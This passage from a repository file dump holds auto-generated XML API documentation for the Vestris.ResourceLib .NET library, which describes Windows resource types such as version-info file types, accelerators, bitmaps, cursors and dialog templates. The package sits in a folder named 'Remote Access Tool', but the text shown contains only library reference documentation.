under MS-DOS. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Winver.FileOs.VOS_OS216\">\n            <summary>\n            The file was designed to run under a 16-bit version of OS/2. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Winver.FileOs.VOS_OS232\">\n            <summary>\n            The file was designed to run under a 32-bit version of OS/2.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Winver.FileOs.VOS_NT\">\n            <summary>\n            The file was designed to run under Windows NT/2000.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Winver.FileOs.VOS_WINCE\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Winver.FileOs.VOS__WINDOWS16\">\n            <summary>\n            The file was designed to run under the 16-bit Windows API. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Winver.FileOs.VOS__PM16\">\n            <summary>\n            The file was designed to be run under a 16-bit version of Presentation Manager. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Winver.FileOs.VOS__PM32\">\n            <summary>\n            The file was designed to be run under a 32-bit version of Presentation Manager.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Winver.FileOs.VOS__WINDOWS32\">\n            <summary>\n            The file was designed to run under the 32-bit Windows API. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Winver.FileOs.VOS_DOS_WINDOWS16\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Winver.FileOs.VOS_DOS_WINDOWS32\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Winver.FileOs.VOS_OS216_PM16\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Winver.FileOs.VOS_OS232_PM32\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Winver.FileOs.VOS_NT_WINDOWS32\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.Winver.FileType\">\n            <summary>\n            VS_VERSION file types.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Winver.FileType.VFT_UNKNOWN\">\n            <summary>\n            The type of file could not be determined.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Winver.FileType.VFT_APP\">\n            <summary>\n            The file is an application.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Winver.FileType.VFT_DLL\">\n            <summary>\n            The file is a Dynamic Link Library (DLL). \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Winver.FileType.VFT_DRV\">\n            <summary>\n            The file is a device driver. dwFileSubtype contains more information. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Winver.FileType.VFT_FONT\">\n            <summary>\n            The file is a font. dwFileSubtype contains more information. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Winver.FileType.VFT_VXD\">\n            <summary>\n            The file is a virtual device.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Winver.FileType.VFT_STATIC_LIB\">\n            <summary>\n            The file is a static link library.\n            </summary>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.Winver.FileSubType\">\n            <summary>\n            File sub-type.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Winver.FileSubType.VFT2_UNKNOWN\">\n            <summary>\n            The type of driver could not be determined. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Winver.FileSubType.VFT2_DRV_PRINTER\">\n            <summary>\n            The file is a printer driver.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Winver.FileSubType.VFT2_DRV_KEYBOARD\">\n            <summary>\n            The file is a keyboard driver. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Winver.FileSubType.VFT2_DRV_LANGUAGE\">\n            <summary>\n            The file is a language driver. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Winver.FileSubType.VFT2_DRV_DISPLAY\">\n            <summary>\n            The file is a display driver. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Winver.FileSubType.VFT2_DRV_MOUSE\">\n            <summary>\n            The file is a mouse driver. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Winver.FileSubType.VFT2_DRV_NETWORK\">\n            <summary>\n            The file is a network driver. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Winver.FileSubType.VFT2_DRV_SYSTEM\">\n            <summary>\n            The file is a system driver. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Winver.FileSubType.VFT2_DRV_INSTALLABLE\">\n            <summary>\n            The file is an installable driver. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Winver.FileSubType.VFT2_DRV_SOUND\">\n            <summary>\n            The file is a sound driver. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Winver.FileSubType.VFT2_DRV_COMM\">\n            <summary>\n            The file is a communications driver. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Winver.FileSubType.VFT2_DRV_INPUTMETHOD\">\n            <summary>\n            The file is an input method driver.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Winver.FileSubType.VFT2_DRV_VERSIONED_PRINTER\">\n            <summary>\n            The file is a versioned printer driver.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Winver.FileSubType.VFT2_FONT_RASTER\">\n            <summary>\n            The file is a raster font.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Winver.FileSubType.VFT2_FONT_VECTOR\">\n            <summary>\n            The file is a vector font. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Winver.FileSubType.VFT2_FONT_TRUETYPE\">\n            <summary>\n            The file is a TrueType font. \n            </summary>\n        </member>\n    </members>\n</doc>\n"
  },
  {
    "path": "Remote Access Tool/packages/Vestris.ResourceLib.2.1.0/lib/net45/Vestris.ResourceLib.xml",
    "content": "<?xml version=\"1.0\"?>\n<doc>\n    <assembly>\n        <name>Vestris.ResourceLib</name>\n    </assembly>\n    <members>\n        <member name=\"T:Vestris.ResourceLib.Accelerator\">\n            <summary>\n            Standard accelerator.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.Accelerator.Read(System.IntPtr)\">\n            <summary>\n            Read the accelerator.\n            </summary>\n            <param name=\"lpRes\">Address in memory.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.Accelerator.Write(System.IO.BinaryWriter)\">\n            <summary>\n            Write accelerator to a binary stream.\n            </summary>\n            <param name=\"w\">Binary stream.</param>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.Accelerator.Key\">\n            <summary>\n            String representation of the accelerator key.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.Accelerator.Command\">\n            <summary>\n            An unsigned integer value that identifies the accelerator.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.Accelerator.ToString\">\n            <summary>\n            String representation of the accelerator.\n            </summary>\n            <returns>String representation of the accelerator.</returns>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.AcceleratorResource\">\n            <summary>\n            An accelerator, RT_ACCELERATOR resource.\n            An accelerator provides the user with access to an application's command set.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.AcceleratorResource.Accelerators\">\n            <summary>\n            Accelerator keys.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.AcceleratorResource.#ctor\">\n            <summary>\n            A new accelerator resource.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.AcceleratorResource.#ctor(System.IntPtr,System.IntPtr,Vestris.ResourceLib.ResourceId,Vestris.ResourceLib.ResourceId,System.UInt16,System.Int32)\">\n            <summary>\n            An existing accelerator resource.\n            </summary>\n            <param name=\"hModule\">Module handle.</param>\n            <param name=\"hResource\">Resource ID.</param>\n            <param name=\"type\">Resource type.</param>\n            <param name=\"name\">Resource name.</param>\n            <param name=\"language\">Language ID.</param>\n            <param name=\"size\">Resource size.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.AcceleratorResource.Read(System.IntPtr,System.IntPtr)\">\n            <summary>\n            Read the accelerators table.\n            </summary>\n            <param name=\"hModule\">Handle to a module.</param>\n            <param name=\"lpRes\">Pointer to the beginning of the accelerator table.</param>\n            <returns>Address of the end of the accelerator table.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.AcceleratorResource.ToString\">\n            <summary>\n            String representation of the accelerators resource.\n            </summary>\n            <returns></returns>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.Aligned\">\n            <summary>\n            Creates an 8 bit aligned copy of the buffer if it is not already aligned\n            </summary>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.BitmapFile\">\n            <summary>\n            A bitmap file in a .bmp format.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.BitmapFile.Bitmap\">\n            <summary>\n            Device independent bitmap.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.BitmapFile.#ctor(System.String)\">\n            <summary>\n            An existing bitmap file.\n            </summary>\n            <param name=\"filename\">A file in a .bmp format.</param>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.BitmapResource\">\n            <summary>\n            An embedded bitmap resource.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.BitmapResource.#ctor(System.IntPtr,System.IntPtr,Vestris.ResourceLib.ResourceId,Vestris.ResourceLib.ResourceId,System.UInt16,System.Int32)\">\n            <summary>\n            An existing bitmap resource.\n            </summary>\n            <param name=\"hModule\">Module handle.</param>\n            <param name=\"hResource\">Resource ID.</param>\n            <param name=\"type\">Resource type.</param>\n            <param name=\"name\">Resource name.</param>\n            <param name=\"language\">Language ID.</param>\n            <param name=\"size\">Resource size.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.BitmapResource.#ctor\">\n            <summary>\n            A new bitmap resource.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.BitmapResource.Read(System.IntPtr,System.IntPtr)\">\n            <summary>\n            Read the resource.\n            </summary>\n            <param name=\"hModule\">Module handle.</param>\n            <param name=\"lpRes\">Pointer to the beginning of a resource.</param>\n            <returns>Pointer to the end of the resource.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.BitmapResource.Write(System.IO.BinaryWriter)\">\n            <summary>\n            Write the bitmap resource to a binary stream.\n            </summary>\n            <param name=\"w\">Binary stream.</param>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.BitmapResource.Bitmap\">\n            <summary>\n            A device independent bitmap.\n            </summary>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.CursorDirectoryResource\">\n            <summary>\n            This structure depicts the organization of data in a hardware-independent cursor resource.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.CursorDirectoryResource.#ctor(System.IntPtr,System.IntPtr,Vestris.ResourceLib.ResourceId,Vestris.ResourceLib.ResourceId,System.UInt16,System.Int32)\">\n            <summary>\n            A hardware-independent cursor resource.\n            </summary>\n            <param name=\"hModule\">Module handle.</param>\n            <param name=\"hResource\">Resource ID.</param>\n            <param name=\"type\">Resource type.</param>\n            <param name=\"name\">Resource name.</param>\n            <param name=\"language\">Language ID.</param>\n            <param name=\"size\">Resource size.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.CursorDirectoryResource.#ctor\">\n            <summary>\n            A new hardware-independent cursor resource.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.CursorDirectoryResource.#ctor(Vestris.ResourceLib.IconFile)\">\n            <summary>\n            A new collection of cursors that can be embedded into an executable file.\n            </summary>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.CursorResource\">\n            <summary>\n            This structure depicts the organization of data in a cursor resource.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.CursorResource.#ctor(System.IntPtr,System.IntPtr,Vestris.ResourceLib.ResourceId,Vestris.ResourceLib.ResourceId,System.UInt16,System.Int32)\">\n            <summary>\n            An existing cursor resource.\n            </summary>\n            <param name=\"hModule\">Module handle.</param>\n            <param name=\"hResource\">Resource ID.</param>\n            <param name=\"type\">Resource type.</param>\n            <param name=\"name\">Resource name.</param>\n            <param name=\"language\">Language ID.</param>\n            <param name=\"size\">Resource size.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.CursorResource.#ctor\">\n            <summary>\n            A new cursor resource.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.CursorResource.#ctor(Vestris.ResourceLib.IconFileIcon,Vestris.ResourceLib.ResourceId,System.UInt16)\">\n            <summary>\n            Convert into an icon resource that can be written into an executable.\n            </summary>\n            <param name=\"icon\">Icon image.</param>\n            <param name=\"id\">Icon Id.</param>\n            <param name=\"language\">Language.</param>\n            <returns>An icon resource.</returns>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.CursorResource.HotspotX\">\n            <summary>\n            Horizontal hotspot coordinate.\n            The hot spot of a cursor is the point to which Windows refers in tracking the cursor's position. \n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.CursorResource.HotspotY\">\n            <summary>\n            Vertical hot spot coordinate.\n            The hot spot of a cursor is the point to which Windows refers in tracking the cursor's position. \n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.CursorResource.SaveIconTo(System.String)\">\n            <summary>\n            Write the cursor data to a file.\n            </summary>\n            <param name=\"filename\">Target executable file.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.CursorResource.ReadImage(System.IntPtr,System.UInt32)\">\n            <summary>\n            Read DIB image.\n            </summary>\n            <param name=\"dibBits\">DIB bits.</param>\n            <param name=\"size\">DIB size.</param>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.DeviceIndependentBitmap\">\n            <summary>\n            A device-independent image consists of a BITMAPINFOHEADER where\n            bmWidth is the width of the image andbmHeight is double the height \n            of the image, followed by the bitmap color table, followed by the image\n            pixels, followed by the mask pixels.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DeviceIndependentBitmap.Data\">\n            <summary>\n            Raw image data.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DeviceIndependentBitmap.Header\">\n            <summary>\n            Bitmap info header.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DeviceIndependentBitmap.Size\">\n            <summary>\n            Bitmap size in bytes.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.DeviceIndependentBitmap.#ctor\">\n            <summary>\n            A new icon image.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.DeviceIndependentBitmap.#ctor(System.Byte[])\">\n            <summary>\n            A device-independent bitmap.\n            </summary>\n            <param name=\"data\">Bitmap data.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.DeviceIndependentBitmap.#ctor(Vestris.ResourceLib.DeviceIndependentBitmap)\">\n            <summary>\n            Create a copy of an image.\n            </summary>\n            <param name=\"image\">Source image.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.DeviceIndependentBitmap.Read(System.IntPtr,System.UInt32)\">\n            <summary>\n            Read icon data.\n            </summary>\n            <param name=\"lpData\">Pointer to the beginning of icon data.</param>\n            <param name=\"size\">Icon data size.</param>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DeviceIndependentBitmap.MaskImageSize\">\n            <summary>\n            Size of the image mask.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DeviceIndependentBitmap.XorImageIndex\">\n            <summary>\n            Position of the DIB bitmap bits within a DIB bitmap array.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DeviceIndependentBitmap.ColorCount\">\n            <summary>\n            Number of colors in the palette.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.DeviceIndependentBitmap.GetDIBRowWidth(System.Int32)\">\n            <summary>\n            Returns the width of a row in a DIB Bitmap given the number of bits. DIB Bitmap rows always align on a DWORD boundary.\n            </summary>\n            <param name=\"width\">Number of bits.</param>\n            <returns>Width of a row in bytes.</returns>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DeviceIndependentBitmap.Mask\">\n            <summary>\n            Bitmap monochrome mask.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DeviceIndependentBitmap.Color\">\n            <summary>\n            Bitmap color (XOR) part of the image.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DeviceIndependentBitmap.Image\">\n            <summary>\n            Complete image.\n            </summary>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.DialogExTemplate\">\n            <summary>\n            A container for the DIALOGTEMPLATEEX structure.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogExTemplate.CharacterSet\">\n            <summary>\n            Indicates the character set to use.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogExTemplate.x\">\n            <summary>\n            X-coordinate, in dialog box units, of the upper-left corner of the dialog box. \n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogExTemplate.y\">\n            <summary>\n            Y-coordinate, in dialog box units, of the upper-left corner of the dialog box.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogExTemplate.cx\">\n            <summary>\n            Width, in dialog box units, of the dialog box.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogExTemplate.cy\">\n            <summary>\n            Height, in dialog box units, of the dialog box.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogExTemplate.Style\">\n            <summary>\n            Dialog style.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogExTemplate.ExtendedStyle\">\n            <summary>\n            Extended dialog style.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogExTemplate.Weight\">\n            <summary>\n            Weight of the font. \n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogExTemplate.Italic\">\n            <summary>\n            Indicates whether the font is italic.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogExTemplate.ControlCount\">\n            <summary>\n            Number of dialog items.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.DialogExTemplate.#ctor\">\n            <summary>\n            An extended dialog structure.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.DialogExTemplate.Read(System.IntPtr)\">\n            <summary>\n            Read the dialog resource.\n            </summary>\n            <param name=\"lpRes\">Pointer to the beginning of the dialog structure.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.DialogExTemplate.Write(System.IO.BinaryWriter)\">\n            <summary>\n            Write dialog control to a binary stream.\n            </summary>\n            <param name=\"w\">Binary stream.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.DialogExTemplate.ToString\">\n            <summary>\n            String representation of the dialog.\n            </summary>\n            <returns>String in the DIALOGEX [dialog] format.</returns>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.DialogExTemplateControl\">\n            <summary>\n            A container for the DIALOGTEMPLATEEX structure.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogExTemplateControl.x\">\n            <summary>\n            X-coordinate, in dialog box units, of the upper-left corner of the dialog box. \n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogExTemplateControl.y\">\n            <summary>\n            Y-coordinate, in dialog box units, of the upper-left corner of the dialog box.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogExTemplateControl.cx\">\n            <summary>\n            Width, in dialog box units, of the dialog box.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogExTemplateControl.cy\">\n            <summary>\n            Height, in dialog box units, of the dialog box.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogExTemplateControl.Style\">\n            <summary>\n            Dialog style.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogExTemplateControl.ExtendedStyle\">\n            <summary>\n            Extended dialog style.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogExTemplateControl.Id\">\n            <summary>\n            Control identifier.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.DialogExTemplateControl.#ctor\">\n            <summary>\n            An extended dialog control template structure.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.DialogExTemplateControl.Read(System.IntPtr)\">\n            <summary>\n            Read the dialog control.\n            </summary>\n            <param name=\"lpRes\">Pointer to the beginning of the dialog structure.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.DialogExTemplateControl.Write(System.IO.BinaryWriter)\">\n            <summary>\n            Write the dialog control to a binary stream.\n            </summary>\n            <param name=\"w\">Binary stream.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.DialogExTemplateControl.ToString\">\n            <summary>\n            Return a string representation of the dialog control.\n            </summary>\n            <returns>A single line in the \"CLASS name id, dimensions and styles' format.</returns>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.DialogResource\">\n            <summary>\n            A dialog template resource.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogResource.Template\">\n            <summary>\n            A dialog template structure that describes the dialog.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.DialogResource.#ctor(System.IntPtr,System.IntPtr,Vestris.ResourceLib.ResourceId,Vestris.ResourceLib.ResourceId,System.UInt16,System.Int32)\">\n            <summary>\n            A structured dialog resource embedded in an executable module.\n            </summary>\n            <param name=\"hModule\">Module handle.</param>\n            <param name=\"hResource\">Resource handle.</param>\n            <param name=\"type\">Type of resource.</param>\n            <param name=\"name\">Resource name.</param>\n            <param name=\"language\">Language id.</param>\n            <param name=\"size\">Resource size.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.DialogResource.#ctor\">\n            <summary> \n            A structured dialog resource embedded in an executable module.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.DialogResource.ToString\">\n            <summary>\n            Dialog resource in standard resource editor text format.\n            </summary>\n            <returns>Multi-line string.</returns>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.DialogTemplate\">\n            <summary>\n            A container for the DIALOGTEMPLATE structure.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogTemplate.x\">\n            <summary>\n            X-coordinate, in dialog box units, of the upper-left corner of the dialog box. \n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogTemplate.y\">\n            <summary>\n            Y-coordinate, in dialog box units, of the upper-left corner of the dialog box.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogTemplate.cx\">\n            <summary>\n            Width, in dialog box units, of the dialog box.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogTemplate.cy\">\n            <summary>\n            Height, in dialog box units, of the dialog box.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogTemplate.Style\">\n            <summary>\n            Dialog style.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogTemplate.ExtendedStyle\">\n            <summary>\n            Extended dialog style.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogTemplate.ControlCount\">\n            <summary>\n            Number of dialog items.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.DialogTemplate.#ctor\">\n            <summary>\n            A standard dialog structure.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.DialogTemplate.Read(System.IntPtr)\">\n            <summary>\n            Read the dialog resource.\n            </summary>\n            <param name=\"lpRes\">Pointer to the beginning of the dialog structure.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.DialogTemplate.Write(System.IO.BinaryWriter)\">\n            <summary>\n            Write the dialog template data to a binary stream.\n            </summary>\n            <param name=\"w\">Binary stream.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.DialogTemplate.ToString\">\n            <summary>\n            Returns a string representation of the dialog.\n            </summary>\n            <returns>String in the DIALOG ... format.</returns>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.DialogTemplateBase\">\n            <summary>\n            A dialog template.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogTemplateBase.x\">\n            <summary>\n            X-coordinate, in dialog box units, of the upper-left corner of the dialog box. \n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogTemplateBase.y\">\n            <summary>\n            Y-coordinate, in dialog box units, of the upper-left corner of the dialog box.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogTemplateBase.cx\">\n            <summary>\n            Width, in dialog box units, of the dialog box.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogTemplateBase.cy\">\n            <summary>\n            Height, in dialog box units, of the dialog box.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogTemplateBase.Style\">\n            <summary>\n            Style of the dialog box.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogTemplateBase.ExtendedStyle\">\n            <summary>\n            Optional extended style of the dialog box.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogTemplateBase.ControlCount\">\n            <summary>\n            Number of items in this structure.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogTemplateBase.TypeFace\">\n            <summary>\n            The name of the typeface for the font.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogTemplateBase.PointSize\">\n            <summary>\n            Point size of the font to use for the text in the dialog box and its controls.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogTemplateBase.Caption\">\n            <summary>\n            Dialog caption.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogTemplateBase.MenuId\">\n            <summary>\n            Menu resource Id.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogTemplateBase.WindowClassId\">\n            <summary>\n            Window class Id.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogTemplateBase.Controls\">\n            <summary>\n            Controls within this dialog.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.DialogTemplateBase.ToString\">\n            <summary>\n            Dialog template representation in a standard text format.\n            </summary>\n            <returns>Multiline string.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.DialogTemplateBase.ToControlString\">\n            <summary>\n            String represetnation of a control.\n            </summary>\n            <returns></returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.DialogTemplateBase.Write(System.IO.BinaryWriter)\">\n            <summary>\n            Write the resource to a binary stream.\n            </summary>\n            <param name=\"w\">Binary stream.</param>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.DialogTemplateControl\">\n            <summary>\n            A container for a control within a dialog template.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogTemplateControl.x\">\n            <summary>\n            X-coordinate, in dialog box units, of the upper-left corner of the dialog box. \n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogTemplateControl.y\">\n            <summary>\n            Y-coordinate, in dialog box units, of the upper-left corner of the dialog box.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogTemplateControl.cx\">\n            <summary>\n            Width, in dialog box units, of the dialog box.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogTemplateControl.cy\">\n            <summary>\n            Height, in dialog box units, of the dialog box.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogTemplateControl.Style\">\n            <summary>\n            Dialog style.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogTemplateControl.ExtendedStyle\">\n            <summary>\n            Extended dialog style.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogTemplateControl.Id\">\n            <summary>\n            Control identifier.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.DialogTemplateControl.#ctor\">\n            <summary>\n            A standard dialog control structure.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.DialogTemplateControl.Write(System.IO.BinaryWriter)\">\n            <summary>\n            Write the dialog control to a binary stream.\n            </summary>\n            <param name=\"w\">Binary stream.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.DialogTemplateControl.ToString\">\n            <summary>\n            String represetnation of a control.\n            </summary>\n            <returns></returns>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.DialogTemplateControlBase\">\n            <summary>\n            A dialog template.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogTemplateControlBase.x\">\n            <summary>\n            X-coordinate, in dialog box units, of the upper-left corner of the dialog box. \n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogTemplateControlBase.y\">\n            <summary>\n            Y-coordinate, in dialog box units, of the upper-left corner of the dialog box.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogTemplateControlBase.cx\">\n            <summary>\n            Width, in dialog box units, of the dialog box.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogTemplateControlBase.cy\">\n            <summary>\n            Height, in dialog box units, of the dialog box.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogTemplateControlBase.Style\">\n            <summary>\n            Style of the dialog box.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogTemplateControlBase.ExtendedStyle\">\n            <summary>\n            Optional extended style of the dialog box.\n            </summary>\n        </member>\n        <member 